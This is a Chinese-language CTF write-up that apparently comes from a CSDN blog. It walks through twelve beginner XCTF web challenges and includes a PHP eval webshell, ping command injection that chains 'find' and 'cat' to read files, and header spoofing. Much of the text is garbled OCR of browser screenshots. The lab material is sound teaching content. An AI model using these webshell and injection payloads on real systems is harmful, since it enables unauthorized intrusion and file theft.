### XCTF攻防世界练习区-web题(新手)



1 篇文章 1 订阅 订阅专栏

### XCTF攻防世界练习区-web题(新手)

https://adworld.xctf.org.cn/task?now\_checked\_num=3&name=web



001 view\_source

「 VIEW_SOUICE 154 最佳Writeup由Healer_aptx • Anchorite提供
难度系数: ◆ ★ 1.0
题目来源: Cyberpeace-n3k0
题目描述: X老师让小宁同学查看一个网页的源代码,但小宁同学发现鼠标右键好像不管用了。
题目场景: http://111.200.241.244:59441
题目附件: 暂无 https://blog.csdn.net/weixin_50987385
打开http://111.200.241.244:59441
← → C'  C'  ✓ 111.200.241.244:59441
● 新手上路 □ CTF练习 □ CMS □ house □ 安全论坛

## FLAG is not here

https://blog.csdn.net/weixin\_50987385

F12查看源码,发现flag在源码注释中



🥌 新手上路 📄 CTF练习 📄 CMS 📄 house 📄 安全论坛

## FLAG is not here



#### 002 robots



打开http://111.200.241.244:39919/robots.txt



发现flag=cyberpeace{19ae0bff7a9b8fdf540baca10cfca9b4}

#### 003 backup

backup Lefewriteup由 <b>话求・</b> 樱宁提供
难度系数: ●★1.0
题目来源: Cyberpeace-n3k0
题目描述: X老师忘记删除备份文件, 他派小宁同学去把备份文件找出来, 一起来帮小宁同学吧!
题目场景: http://111.200.241.244:36840
· · · · · · · · · · · · · · · · · · ·
题目附件: 暂无
https://blog.csdn.net/weixin_50987385

打开http://111.200.241.244:36840

 $\leftarrow$   $\rightarrow$  C'

🔸 新手上路 📄 CTF练习 📄 CMS 📄 安全论坛

你知道index.php的备份文 件名吗?

浏览器输入栏输入: http://111.200.241.244:36840/index.php.bak,下载到bak文件

⊖ → œ	۵	<b>Q</b> 111.200.241.244:368	40/index.php.bak		
🖢 新手上路 📄	正在打开 index.p	hp.bak		×	
	您选择了打开: <mark> index.ph</mark> 文件类型: 来源: htt	<b>p.bak</b> bak File (500 字节) tp://111.200.241.244:36840			
	<b>您想要 Firefox</b> ① 打开,通道 ④ 保存文件( □ 以后自动的	如何处理此文件? 过(O) 浏览(B) S) 采用相同的动作处理此类文件。	(A) 确定 取消		〕道index.php的备份文 3吗?

打开下载下来的index.php.bak文件,即找到flag

```
body{√
      margin-left:auto;↓
      margin-right:auto;
      margin-TOP:200PX;
      width:20em;↓
    }\
  </style>
</head>\downarrow
<body>↓
<h3>你知道index.php的备份文件名吗? </h3>
<?php↓
$flag="Cyberpeace{855A1C4B3401294CB6604CCC98BDE334}"↓
?>\
</body>
</html>
4
```

找到flag=Cyberpeace{855A1C4B3401294CB6604CCC98BDE334}

#### 004 cookie

Cookie最佳Writeup由神秘人・孔雀翎提供难度系数:◆◆1.0题目来源:©yberpeace-n3k0题目描述:X老师告诉小宁他在cookie里放了些东西,小宁疑惑地想:'这是夹心饼干的意思吗?'题目场景:● http://111.200.241.244:52937题目场景:● http://111.200.241.244:52937聞除场景●預计时:03:59:54運動●	
<ul> <li> 速度系数: ・・・1.0 </li> <li> 题目来源: Cyberpeace-n3k0 </li> <li> 题目描述: X老师告诉小宁他在cookie里放了些东西,小宁疑惑地想: 这是夹心饼干的意思吗? </li> <li> 题目场景: ● http://111.200.241.244:52937 </li> <li> 通酬除场景 </li> <li> 通计时: 03:59:54 近时 </li> </ul> 题目附件: 暫无	COOkie 最佳Writeup由神秘人 • 孔雀翎提供
<ul> <li>题目来源: Cyberpeace-n3k0</li> <li>题目描述: X老师告诉小宁他在cookie里放了些东西,小宁疑惑地想: 这是夹心饼干的意思吗?,</li> <li>题目场景: http://111.200.241.244:52937</li> <li>翻除场景</li> <li>④计时: 03:59:54</li></ul>	难度系数: ◆ ★ 1.0
题目描述: X老师告诉小宁他在cookie里放了些东西,小宁疑惑地想:'这是夹心饼干的意思吗?' 题目场景:	题目来源: Cyberpeace-n3k0
题目场景: L http://111.200.241.244:52937	题目描述:X老师告诉小宁他在cookie里放了些东西,小宁疑惑地想:'这是夹心饼干的意思吗?'
删除场景         倒计时:03:59:54       延时         题目附件:暂无       https://blog.csdn.net/weixin_50987385	题目场景: http://111.200.241.244:52937
倒计时: 03:59:54 延时 题目附件: 暂无	「「「」」「「」」」「「」」」」」」」」」」」」」」」」」」」」」」」」
题目附件: 暂无 https://blog.csdn.net/weixin_50987385	倒计时: 03:59:54   延时
https://blog.csdn.net/weixin_50987385	题目附件: 暂无
	https://blog.csdn.net/weixin_5098738

(←) → ℃ (	<b>ì</b>	0 🔏 111.200.2	2 <b>41.244</b> :43009			•	·· ☆
🖕 新手上路 📄 🤇	CTF练习 📄 CMS	5 📄 安全论坛					
				一个不	<b>能按的按钮</b>		
□ 口 査看器	▶ 控制台 ▶	调试器 🚺 网络	{} 样式编辑器 ⑦ 性	能(① 内存 🖯 🤅	存储 肯 无障碍环境	嘂 应用程序 🏾 🕘 Ha	ackBar
Q 捜索 HTML				+ 🖋	▼ 过滤样式	:ho	v.cls 🕂 🖹 🕨
<html> <head><td>Þ</td><td></td><td></td><td></td><td>▶ 伪元素</td><td></td><td><u> </u></td></head></html>	Þ				▶ 伪元素		<u> </u>
▼ <body></body>					此元素		
<h3>一个个能按 ▼<form action="&lt;/td"><td>f的按钮</td></form></h3> ="" method="post"	f的按钮	'>			元素 🗘 { height: 50px;		内联  ▼
<input clas<="" td=""/> <td>s="btn btn-defau</td> <td>lt" disabled="" st</td> <td>yle="height:50px;width</td> <td>:200px;"</td> <td>width: 200px;</td> <td></td> <td></td>	s="btn btn-defau	lt" disabled="" st	yle="height:50px;width	:200px;"	width: 200px;		
  	te varue= riag	Hame= autn ≯			.btn-default.disabled default[disabled], fieldset[disabled] . default.disabled:how fieldset[disabled] .	d, .btn- bootstr btn-default, .btn- er, .btn-default[disal btn-default:hover, .b	rap.min.css:7

### F12查看cookie信息,发现有cookie.php

$\leftarrow \rightarrow $ C $)$	111.200.241.244:52937	•••	☆	$\overline{\mathbf{h}}$	111
ۏ 新手上路 📄 CTF练习 📄 CN	//S 📄 安全论坛				

### 你知道什么是cookie吗?

日本	器 🚺 网络 {} 样式编辑	器 🕥 性能 🔅	① 内存 🗄	存储 🕇 无障碍	野玩境 闘 应用	程序	🕨 HackBa	r	
▼ Ξ Cookie	▼ 项目过滤器							+ C' 🖻	叉过
http://111.200.241.244:52937	名称 值	Domain	Path Exp	pires / Max-Age	大小 HttpOnly	Secure	SameSite	最后访问	▼ 数据
	look-here cookie.php	111.200.24	/ 会	活	19 false	false	None	Wed, 03 Mar 2021	📼 loc
http://111.200.241.244:52937									D
▶ 🔁 本地存储									H
▶ 🗄 会话存储									Н
▶ 🗄 缓存存储									P
_									S
									87385°

浏览器中访问http://111.200.241.244:52937/cookie.php

C 🛈

🥑 新手上路 📄 CTF练习 📄 CMS 📄 安全论坛

#### See the http response

https://blog.csdn.net/weixin\_50987385

#### 打开Burpsuite进行抓包



在Response响应消息中找到flag=cyberpeace{a7a09bceed72318cc0c895d3780fdbe7}

#### 005 disabled\_button



浏览器地址栏输入http://111.200.241.244:43009





flag

https://blog.csdn.net/weixin\_50987385

#### F12打开查看器

← → C <sup>2</sup> <sup>1</sup> <sup>111.200.241.244:43009</sup>	驟 … ☆
● 新手上路 □ CTF练习 □ CMS □ 安全论坛	
A =	
—个个	卜能按的按钮
	flag
□ 2 2 2 2 2 2 2 2 2 2 2 2 2 2 2 2 2 2 2	子存储 🐈 无障碍环境 🔛 应用程序 🜘 HackBar
Q搜索HTML + 2	* マ过滤样式 :hov .cls + 🗈 [
<html></html>	▶ 伪元素 ^ 、
<pre>&gt; <head> </head></pre> / head>	此元素
<h3>一个不能按的按钮</h3>	元素 • { 内联
<pre>▼<form action="" method="post"> <input <="" class="htp.htp.default" disabled="" pre="" style="height:50py:width:200py:"/></form></pre>	height: 50px;
type="submit" value="flag" name="auth">	}
	.btn-default.disabled, .btn- bootstrap.min.css:7
<td>fieldset[disabled].btn-default, .btn-</td>	fieldset[disabled].btn-default, .btn-
	fieldset[disabled].btn-default:hover, .btn-

将disabled=""直接删除后刷新浏览器,出现flag

← → ♂ ŵ	🗊 🔏 111.200	.241.244:43009					鬷 … ど	አ
🤞 新手上路 📄 CTF练习 🗎	CMS 📄 安全论坛							
				个不能	能按的按钮			
▶ 🗘 查看器 🕟 控制台	□ 调试器 1→ 网络	{}样式编辑器	♀ 性能 10:内石	7 🖯	存储 肯 无障碍环境	嘂 应用程序	HackBar	r
↓ 捜索 HTML				+ 🗡	▼ 过滤样式		:hov .cls	+
<html></html>					▶ 伪元素			
▼ <body> (滚动) 溢出</body>					此元素			
<h3>一个不能按的按钮<td></td><td></td><td></td><td></td><td>元素 🗗 {</td><td></td><td></td><td>内耶</td></h3>					元素 🗗 {			内耶
▼ <form action="" btn="" btn-<="" method="&lt;br&gt;&lt;input class=" td=""><td>'post"≻ default" disabled="" s</td><td>style="height:50px</td><td>;width:200px;"</td><td></td><td><pre>height: 50px; width: 200px;</pre></td><td></td><td></td><td></td></form>	'post"≻ default" disabled="" s	style="height:50px	;width:200px;"		<pre>height: 50px; width: 200px;</pre>			
<pre>type="submit" value="f</pre>	lag" name="auth"> e55378d7c642dc5251281€	28}			<pre>} .btn-default.disabl default[disabled], fieldset[disabled] default.disabled:ho fieldset[disabled] default.disabled:fo fieldset[disabled]</pre>	ed, .btn- .btn-default, . ver, .btn-default:ho. btn-default:ho. .btn-default:fo	bootstrap.mi btn- ult[disabled] ver, .btn- ult[disabled] ccusbtn-	n.css: hover

Flag=cyberpeace{6f82232dee55378d7c642dc5251281e8}

### 006 weak\_auth



输入http://111.200.241.244:51784,出现登录页面

## Login

username

password

login

reset

https://blog.csdn.net/weixin\_50987385

直接点击login,弹出提示框



输入用户名为admin,密码123456即可登录获取flag



 $cyberpeace \{ 160 e7678 f803 e05 ca 1 aa 65 df b93409 cf \}$ 

#### 007 simple\_php

simple_php 147 最佳Writeup由MOLLMY提供	WP 建议
难度系数: • ★ 1.0	
题目来源: Cyberpeace-n3k0	
题目描述:小宁听说php是最好的语言,于是她简单学习之后写了几行php代码。	
题目场景: 💻 http://111.200.241.244:43819	
倒计时: 03:59:54   延时	
题目附件: 暂无	hites://blog.csdn.net/weixin_50987385

#### 输入http://111.200.241.244:43819, 查看到源码



解读源码:

get a和b的值,如果a和0比较返回为true而且a为真,而且b不是纯数字,而且b要大于1234,满足这些条件则返回flag。

根据分析,a可以=abcd(以0开头会认为是八进制数字)

因为b不能是纯数字而且要大于1234(很明显提醒你了,可以在数字后面加字母表示非纯数字),则b可以 =9999c,然后把a=abcd,b=9999c写进去即可,成功拿到flag

← → ℃ ŵ	⑦ ▲ 111.200.241.244:43819/?a=a&b=9999c
☐ CTF练习 ☐ CMS ☐ 安全i	论坛
<pre><?php show_source(FILE); include("config.php"); \$a=@\$_GET['a']; \$b=@\$_GET['b']; if(\$a==0 and \$a){         echo \$flag1; } if(is_numeric(\$b)){         exit(); } if(\$b>1234){         echo \$flag2; } ?&gt;</pre>	

#### Cyberpeace{647E37C7627CC3E4019EC69324F66C7C}

https://blog.csdn.net/weixin\_50987385

拓展说明---彻底解决php判断a==0为真引发的问题-类型转换

一、起因

经常会遇到 字符串==0 进行逻辑判断时,判断结果尽然为真。

例如下面的代码尽然输出了"字符串a尽然等于0",刚开始会让人大跌眼镜。但知道了原因之后其实很简单。这一切都是因为php是弱类型语言,当不同类型的值进行==比较的时候会发生类型转换。

<?php

if('a'==0){

echo "字符串a尽然等于0";

}

二、原因

php虽然是弱类型的语言,但它是有数据类型的。大概分为三种类型:字符串、数字、布尔型。上面的问题出现 是由于字符串转换为了数字类型。

正常情况下不同类型的值是不能比较的, php 为了比较进行了数据类型转换。把不同类型的值转换为相同类型 后再比较。

规则如下:

宽松比较(==)类型转换规则

(1) 数字和字符串比较, 将字符串转为数字, 然后进行比较

(2) 数字和布尔型比较,将数字转为布尔型,然后进行比较

(3)字符串和布尔型比较,将字符串转为布尔型,然后进行比较。

宽松比较的落脚点只有两个,一个是布尔型,一个是数字。只有当数字和字符串比较的时候,会把字符串转为 数字

三、字符串转数字

1. 字符串的开始部分决定了它的数字值。

2. 如果该字符串以合法的数字值开始,则使用该数值。否则其值为0(零)。

3. 合法数字值可以是正负号,后面跟着一个或多个数字(可能有小数点),再跟着可选的指数部分。指数部分 由 'e' 或 'E' 后面跟着一个或多个数字构成。

四、剖析 'a'==0

'a' 这是一个字符串类型。0 是数字类型。使用 == 宽松比较,此时发生类型转换。字符串和数字比较,是将字符 串转换为数字然后进行比较的。

运算步骤一:根据字符串转数字的规则,字符串的开始部分决定了它的数字值。该字符串的开头不是数字,则 它的数字值为0。

所以'a'转换为数字类型时,它其实为0了。不仅'a'等于0,'abc','aabbcc'它们转为数字也是0哦。

运算步骤二:最后比较0是否等于0,结果为真。

https://www.cnblogs.com/beenupper/p/12635779.html

#### 008 get\_post

| get_post 1069 最佳Writeup由神秘人 • 孔雀翎提供                             | 📕 WP              | 🌔 建议                  |
|---|-------------------|-----------------------|
| 难度系数: ◆★★2.0  |                   |                       |
| 题目来源: Cyberpeace-n3k0<br>题目描述:X老师告诉小宁同学HTTP通常使用两种请求方法,你知道是哪两种吗? |                   |                       |
| 题目场景: L http://111.200.241.244:37020                            |                   |                       |
| 倒计时: 03:59:32 延时  |                   |                       |
| 题目附件: 暂无  | https://blog.csdr | n.net/weixin_50987385 |

#### 打开url=http://111.200.241.244:37020/



## 请用GET方式提交一个名为a,值为1的变量

 $(\leftarrow) \rightarrow C$ 

🛈 🔏 111.200.241.244:37020/?a=1

📄 CTF练习 📄 CMS 📄 安全论坛

## 请用GET方式提交一个名为a,值为1的变量 请再以POST方式随便提交一个名为b,值为2的变量

F12调出火狐浏览器的hackbar,并以post方式提交b=2



## 请用GET方式提交一个名为a,值为1的变量 请再以POST方式随便提交一个名为b,值为2的变量

| 器計査 🗘 🎵  | ☑ 控制台 □ 调试器 1 网络 {}样式编辑器 ⑦ 性能 ①:内存         |  |  |  |  |  |
|--|--|--|--|--|--|--|
| Encryption -   | Encoding - SQL - XSS - LFI - XXE - Other - |  |  |  |  |  |
| Image: Load URL     Image: Split URL     Image: Execute        Image: Post data     Referer   User Agent   Cookies     Clear All |  |  |  |  |  |  |
|  |  |  |  |  |  |  |

获得flag=cyberpeace{3e97ee7864760e8467015a387a4fa5cc}



cyberpeace{3e97ee7864760e8467015a387a4fa5cc}

(不用HackBar,利用burpsuit对HTTP的请求报文作如上改动也可以)

#### 009 xff\_referer

【目标】

掌握有关X-Forwarded-For和Referer的知识:

(1) X-Forwarded-For:简称XFF头,它代表客户端,也就是HTTP的请求端真实的IP,只有在通过了HTTP代理 或者负载均衡服务器时才会添加该项。xff是http的拓展头部,作用是使Web服务器获取访问用户的IP真实地址 (可伪造)。由于很多用户通过代理服务器进行访问,服务器只能获取代理服务器的IP地址,而xff的作用在于记 录用户的真实IP,以及代理服务器的IP。格式为:X-Forwarded-For:本机IP,代理1IP,代理2IP,代理2IP

(2) HTTP Referer是header的一部分,当浏览器向web服务器发送请求的时候,一般会带上Referer,告诉服务器我是从哪个页面链接过来的,服务器基此可以获得一些信息用于处理。referer 是http的拓展头部,作用是记录当前请求页面的来源页面的地址。服务器使用referer确认访问来源,如果referer内容不符合要求,服务器可以 拦截或者重定向请求。

【解题思路】

火狐浏览器插件hackbar

burpsuite伪造

场景题开启后如下所示

| F. C.                                      |                     |                    |
|--|---------------------|--------------------|
| xff_referer 133 最佳Writeup由 <b>话求 •</b> DengZ提供                                 | 🔲 WP                | 🌔 🔮 建议             |
| 难度系数: ◆★★2.0   |                     |                    |
| 题目来源: Cyberpeace-n3k0  |                     |                    |
| 题目描述:X老师告诉小宁其实xff和referer是可以伪造的。   |                     |                    |
| 题目场景: 💻 http://111.200.241.244:53761   |                     |                    |
| 「「」」<br>「」」<br>「」」<br>」<br>」<br>」<br>」<br>」<br>」<br>」<br>」<br>」<br>」<br>」<br>」 |                     |                    |
| 倒计时: 03:56:04 延时   |                     |                    |
| 题目附件: 暂无   | https://blog.csdn.n | et/weixin_50987385 |
|  |                     |                    |
| 打开url链接  |                     |                    |

| 0 🔏 111.200.241.244:53761 | ••• | ☆ |  |
|---------------------------|-----|---|--|
| 论坛                        |     |   |  |

ip地址必须为123.123.123.123

https://blog.csdn.net/weixin\_50987385

Burpsuite进行抓包,在Proxy的History里找到目标网页,右键选择发送到repeater。在repeater里查看目标地址内容,添加:X-Forwarded-For:123.123.123.123(这一步是伪造XFF,go一下,收到提示)。

或者直接在Proxy的Intercept is on里面改写X-Forwarded-For:123.123.123.123。





| Request  | Response   |                 |
|--|--|-----------------|
| Pretty Raw \n Actions V  | Pretty Raw Render \n Actions V   |                 |
| <pre>1 GET / HTTP/1.1 2 Host: 111.200.241.244:53761 3 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64;</pre> | 17 margin-left:auto;<br>18 margin-right:auto;<br>19 margin-TOP:200PX;<br>20 width:20em;<br>21 }<br>22<br>23<br>24 <body><br/>25<br/>ip地址必须为123.123.123.123<br/>26 <script><br>document.getElementById("demo").innerHTML="必须来自https://www.google.com";<br></script><br/>document.getElementById("demo").innerHTML="cyberpeace(04ef80fe7ca8c8e224aca<br/><br/><br/><br/><br/><br/><br/><br/><br/><br/><br/><br/><br/></body> | 128874d78484} * |
|  | 28 https://blog.csdn   |                 |

返回flag= cyberpeace{04ef80fe7ca8c8e224aca28874d78484}

### 010 webshell



#### 打开http://111.200.241.244:56735/

### 你会使用webshell吗?

<?php @eval(\$\_POST['shell']);?>

https://blog.csdn.net/weixin 50987385

利用hackbar传递shell,令shell=system("find / -name 'flag\*"");查找所有与flag相关文件

$\leftrightarrow$ $\rightarrow$ $G$	â	0 🔏	111.200.2	<b>41.244</b> :56735	5					90 900	· ☆	
🗎 CTF练习 📋	CMS 📄 安全论	坛										
						/serial82 /platform /sys/devi /flags /sy /tty/ttyS2 /platform /sys/devi /flags /sy /tty/ttyS2 /serial82 /platform /sys/devi /flags /sy /tty/ttyS3 @eval(\$	50/tty/ttyS /serial825 ices/platfo /s/devices /3/flags /s 50/tty/ttyS /serial825 ices/platfo /s/devices /7/flags /s 50/tty/ttyS /serial825 ices/platfo /s/devices /s/devices //flags /v /serial825	520/flags /sys/de 50/tty/ttyS21/flag prm/serial8250/t s/platform/serial8 ys/devices/platf 524/flags /sys/de 50/tty/ttyS25/flag prm/serial8250/t s/platform/serial8 50/tty/ttyS29/flag form/serial8250/t s/platform/serial8 form/serial8250/t s/platform/serial8 form/serial8250/t s/platform/serial8	avices Js ty/ttyS22 3250 prm avices Js ty/ttyS26 3250 prm avices Js ty/ttyS30 3250 3250 3250	hp		
		에 비사 아주	I₩ M3>L1	し」「十キシオ間子は有許	ITHR	- F313			000 ML/H		CKDai	
Encryption -	Encoding -	SQL -	XSS 🗸	LFI <del>-</del> XX	E 🗕 Oth	er 👻						
Load URL	http://111.20	0.241.244	1:56735/									
()) Execute	✓ Post data	Refe	rer 🗌 Us	ser Agent	Cookies	Clear	All					
	shell=system	n("find / -r	ame 'flag*'	"");								

发现flag在flag.txt文件中

以相同的方法访问,发现flag (shell=system("cat /var/www/html/flag.txt");)

下 三



#### 011 command\_execution



输入url http://111.200.241.244:46142/

← → ⊂ ŵ	0 🔏 111.200.241	<b>.244</b> :46142
☐ CTF练习 ☐ CMS ☐ 安全	论坛	
FING		
请输入需要ping的地址		
PING		
先ping一下本机地址,ping 127.0.0.1		
$\leftarrow$ $\rightarrow$ C $\textcircled{0}$	111.200.241.244:46142	
CTF练习 CMS 安全论坛		
PING		
请输入需要ping的地址		
PING		
ping -c 3 127.0.0.1 PING 127.0.0.1 (127.0.0.1) 56(8	4) bytes of data.	
64 bytes from 127.0.0.1: icmp_s 64 bytes from 127.0.0.1: icmp_s 64 bytes from 127.0.0.1: icmp_s	eq=1 ttl=64 time=0.065 ms eq=2 ttl=64 time=0.053 ms eq=3 ttl=64 time=0.059 ms	
127.0.0.1 ping statistics - 3 packets transmitted, 3 receiv rtt min/avg/max/mdev = 0.053/0.1	 ed, 0% packet loss, time 19 059/0.065/0.005 ms	999ms

https://blog.csdn.net/weixin\_50987385

查看所有文件ping 127.0.0.1 | find / -name "\*.txt"

# PING

请输入需要ping的地址

PING

ping -c 3 ping 127.0.0.1 | find / -name "\*.txt"
/home/flag.txt
/usr/lib/python3.4/idlelib/HISTORY.txt
/usr/lib/python3.4/idlelib/extend.txt
/usr/lib/python3.4/idlelib/TOD0.txt
/usr/lib/python3.4/idlelib/README.txt
/usr/lib/python3.4/idlelib/help.txt

https://blog.csdn.net/weixin\_50987385

查看flag.txt文件内容, ping 127.0.0.1 | cat /home/flag.txt



获得flag = cyberpeace{bee31b2c250b75c0bdd12a3a1a40d960}

012 simple\_js

simple_js   1 <sup>12</sup> 703 最佳Writeup由Venom • IceM提供	🔲 WP	🎈 建议
难度系数: ◆★★★ 3.0		
题目来源:   root-me		
题目场景: L http://111.200.241.244:36205		
倒计时: 03:59:51 延时		
题目附件: 暂无	https://blog.csdn.n	et/weixin_50987385

#### 进入题目场景

打开题目,弹出一个弹窗,提示输入密码,随便输入一个,之后查看源码,得到JS源代码,是一个解码函数。

$(\leftarrow) \rightarrow$	C 🗅	🔏 view-source:http://111.200.241.244:36205/	··· ☆	$\overline{\mathbf{T}}$		۲	<b>4</b> 5	8	< i	1
☐ CTF练	习 🛅 CMS 🛅 安全说	法				f	<u>〕</u> 其他书	签 🛛 移	动设备上的	約=
3 <b><h< b=""></h<></b>	ead>									
4	<title>JS<th>le&gt;</th><th></th><th></th><th></th><th></th><th></th><th></th><th></th><th></th></title>	le>								
	<pre>script type="t</pre>	cext/javascript">								
6	function dechif	fre(pass_enc) {								
7	var pass =	"70, 65, 85, 88, 32, 80, 65, 83, 83, 87, 79, 82, 68, 32, 72, 65, 72, $65$ ";								
	var tab =	pass_enc.split(',');								
9	var	tab2 = pass.split(',');var i, j, k, 1=0, m, n, o, p = "";i = 0; j =	tab.length;							
		k = j + (1) + (n=0);								
11		n = tab2. length;								
12		for $(1 = (0=0); 1 < (k = j = n); 1++) \{0 = tab[1-1]; p +=$	String.fromCharCode((o = tab2	?[1]));						
13		1I(1 == 5)  break;								
14		IOT(1 = (O=O); 1 < (K = J = n); 1++)								
10		0 = tab[1=1]; if (i > 5 kk i < 1-1)								
17		$\frac{11(1 \times 5 \text{ dd} 1 \times k^{-1})}{n + \text{string from CharCode}((n - tab2[i]))}$								
18		p - Sting. Homenarcode((0 - tabz[1]))	,							
19	n += String	fromCharCode(tab2[17])								_
	pass = p:re	turn pass:								6
21	}	,								
	String["fromCha	rCode"](dechiffre("\x35\x35\x2c\x35\x36\x2c\x35\x34\x2c\x37\;	x39\x2c\x31\x31\x35\x2c\x36\x3	39\x2c\x3	31\x31\?	x34\x2	2c\x31\	x31\x36	6\x2c\x	:3
24	h = window.prom	pt('Enter password');								
	alert( dechiffr	e(h));								
27 </td <td>script&gt;</td> <td></td> <td></td> <td></td> <td></td> <th></th> <th></th> <th></th> <td></td> <td></td>	script>									
28 </td <td>head&gt;</td> <td></td> <td></td> <td></td> <td></td> <th></th> <th></th> <th></th> <td></td> <td></td>	head>									
29										
30 </td <td>html&gt;</td> <td></td> <td></td> <td></td> <td></td> <th></th> <th></th> <th></th> <td></td> <td></td>	html>									

分析源码,发现随便输入都会输出

pass="70,65,85,88,32,80,65,83,83,87,79,82,68,32,72,65,72,65".

用python处理:

运行如下python代码:

a = [70,65,85,88,32,80,65,83,83,87,79,82,68,32,72,65,72,65]

for i in a:

print(chr(i),end=")

输出结果: FAUX PASSWORD HAHA

....

在源代码中重新寻找线索,发现一串16进制字符:

\x35\x35\x2c\x35\x2c\x35\x36\x2c\x35\x34\x2c\x37\x39\x2c\x31\x31\x35\x2c\x36\x39\x2c\x31\x31\x34\x2c\x31\x31\x36\x2c 猜想应该是flag内容

Þ. .

用转换工具将16进制转换为10进制为55,56,54,79,115,69,114,116,107,49,50,如下图所示:

#### 16进制转换文本/文本转16进制

•

	\x35\x35\x2c\x35\x36\x2c\x35\x34\x2c\x37\x39\x2c\x31\x31\x35\x2c\x36\x39 \x2c\x31\x31\x31\x34\x2c\x31\x31\x31\x35\x2c\x31\x30\x37\x2c\x34\x39\x2c\x35\x30	字符串转16进制 >>	H5H5H,H5H6H,H5H4H,H7H9H,H1H1H5H,H6H9H,H1H1H4H,H1 H1H6H,H1H0H7H,H4H9H,H5H0
		16进制转字符串 >>	
再)	用python将其转换为字符串为 7860sErtk12,	如下图所示:	

结合题目开始所说的flag格式,flag为 Cyberpeace{786OsErtk12}。